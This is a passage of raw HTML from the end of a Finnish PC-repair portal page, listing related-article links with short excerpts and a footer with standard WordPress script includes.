käynnissä</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">1C-käyttäjien kohtaama ongelma on "Virhe: Objektikenttää ei löydy", useimmiten ponnahtaa esiin, kun...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/probit-po-nomeru-telefona-vladelca-kak-uznat-gde-nahoditsya-chelovek-po/"><img style="width: 30%; border-radius: 0;" src="/uploads/93701987bbeab63a000d821fce21422a.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/probit-po-nomeru-telefona-vladelca-kak-uznat-gde-nahoditsya-chelovek-po/">Kuinka saada selville, missä henkilö on matkapuhelinnumeron perusteella?</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Jotkut elämäntilanteet edellyttävät henkilön löytämistä, hänen sijaintinsa selvittämistä tai suku- ja etunimensä selvittämistä...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/karta-gugl-sputnik-podrobnoe-opisanie-servisa-trehmernye/"><img style="width: 30%; border-radius: 0;" src="/uploads/4c5ec417af15f4923ac9ffe5adb9bde2.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/karta-gugl-sputnik-podrobnoe-opisanie-servisa-trehmernye/">3D-kartat Google Mapsissa</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Monien astronautien mukaan ei ole mitään kauniimpaa kuin näkymä planeetallemme ulkopuolelta. Kun maapallo näyttää suurelta...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/kak-nastroit-monitor-dlya-pravilnoi-cvetoperedachi-s-pomoshchyu-po/"><img style="width: 30%; border-radius: 0;" src="/uploads/d37aeee8722a180940b4ee4fe58ba9bb.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/kak-nastroit-monitor-dlya-pravilnoi-cvetoperedachi-s-pomoshchyu-po/">Ohjeet: Kannettavan tietokoneen näytön kalibrointi - värintoiston säätäminen</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Kuinka säätää värimaailmaa oikein kannettavassa tietokoneessa? Vastaus mestarilta: No, ostit vihdoin kannettavan tietokoneen! Sellaisia...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/ploho-rabotaet-sensornyi-ekran-chto-delat-esli-sensor-vashego-gadzheta-ne/"><img style="width: 30%; border-radius: 0;" src="/uploads/dfd76163a4eae7ae9235b963b4cb2d97.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/ploho-rabotaet-sensornyi-ekran-chto-delat-esli-sensor-vashego-gadzheta-ne/">Mitä tehdä, jos laitteesi anturi ei toimi?</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Nykyaikaisia ​​tabletteja ohjataan ensisijaisesti kosketusnäytön kautta. Jos tablettisi lakkaa yhtäkkiä toimimasta...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/pri-vklyuchenii-kompyutera-postoyanno-zapuskaetsya-bios-noutbuk-pri/"><img style="width: 30%; border-radius: 0;" src="/uploads/caa8bac5259bd1cae8d91ab58aa3d711.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/pri-vklyuchenii-kompyutera-postoyanno-zapuskaetsya-bios-noutbuk-pri/">Kannettava tietokone siirtyy BIOSiin, kun se on päällä, kun tietokone käynnistetään.</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Tänään tarkastelemme: Minkä tahansa Windows-käyttöjärjestelmän version omistajilla voi olla tilanne, kun...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/kak-pereustanovit-windows-poshagovaya-instrukciya-kak-pereustanovit/"><img style="width: 30%; border-radius: 0;" src="/uploads/2046ab0e80e33c46398798796860ac54.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/kak-pereustanovit-windows-poshagovaya-instrukciya-kak-pereustanovit/">Windowsin uudelleenasentaminen: vaiheittaiset ohjeet Windows 7:n asentaminen tietokoneeseen levyltä</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Tämän käyttöjärjestelmän asentamiseen on useita vaihtoehtoja, ja ne kaikki eroavat vain pienillä poikkeamilla...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/mdf-chem-otkryt-chem-otkryvat-faily-mdf-i-kak-s-nimi-rabotat-podrobnaya/"><img style="width: 30%; border-radius: 0;" src="/uploads/bda9c17f55759c913b4eb7949ae8e93c.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/mdf-chem-otkryt-chem-otkryvat-faily-mdf-i-kak-s-nimi-rabotat-podrobnaya/">MDF-tiedostojen avaaminen ja niiden käsittely: yksityiskohtaiset ohjeet</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Kuinka avata MDF-tiedosto? Ennen kuin saat vastauksen tähän kysymykseen, sinun tulee ymmärtää, millainen muoto se on. Käytössä...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/raskrutka-aska-besplatnaya-nakrutka-laikov-v-servise-ask-fm-kak/"><img style="width: 30%; border-radius: 0;" src="/uploads/ef662912cb10f5d1986cfe9f8c1aa116.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/raskrutka-aska-besplatnaya-nakrutka-laikov-v-servise-ask-fm-kak/">Ilmainen tykkäysten lisäys Kysy-palvelussa</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Ask fm:n mainostaminen tapahtuu nyt yhä enemmän. Tämä johtuu nuorten halusta kommunikoida ja...</div> </li> </ul></section> </div> <div class="sidebar"> <section class="widget"> <div class="textwidget"> </div> </section> <section class="widget"> <div class="textwidget"> </div> </section> </div> </div> <div id="copy"> <div class="container"> <div id="logo" class="fl"> <a href="https://ermake.ru/fi/"></a> </div> <nav id="nav" class="fl"> <div class="menu-footer-container"><ul id="menu-footer" class="footer-nav"> <li class="menu-item type-custom object-custom "><a href="">Sivuston tiedot</a></li> <li class="menu-item type-custom object-custom "><a href="https://ermake.ru/fi/feedback/">Palaute</a></li> <li class="menu-item type-post_type object-page "><a href="https://ermake.ru/fi/sitemap.xml">Sivustokartta</a></li> </ul></div> </nav> <div class="clearfix"></div> <p>© 2024 ermake.ru - Tietoja PC-korjauksesta - Tietoportaali <span class="counters"> </span> </p> </div> </div> <script type='text/javascript' src='https://ermake.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.9'></script> <script type='text/javascript'> /* <![CDATA[ */ var tocplus = { "visibility_show":"\u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c","visibility_hide":"\u0441\u043a\u0440\u044b\u0442\u044c","width":"100%"} ; /* ]]> */ </script> <script type='text/javascript' src='https://ermake.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=1509'></script> <script type='text/javascript' src='https://ermake.ru/wp-content/themes/whattech/js/init.js?ver=4.8.4'></script> <script type='text/javascript' src='https://ermake.ru/wp-content/themes/whattech/js/jquery.flexslider.js?ver=4.8.4'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.8.4'></script> </body> </html>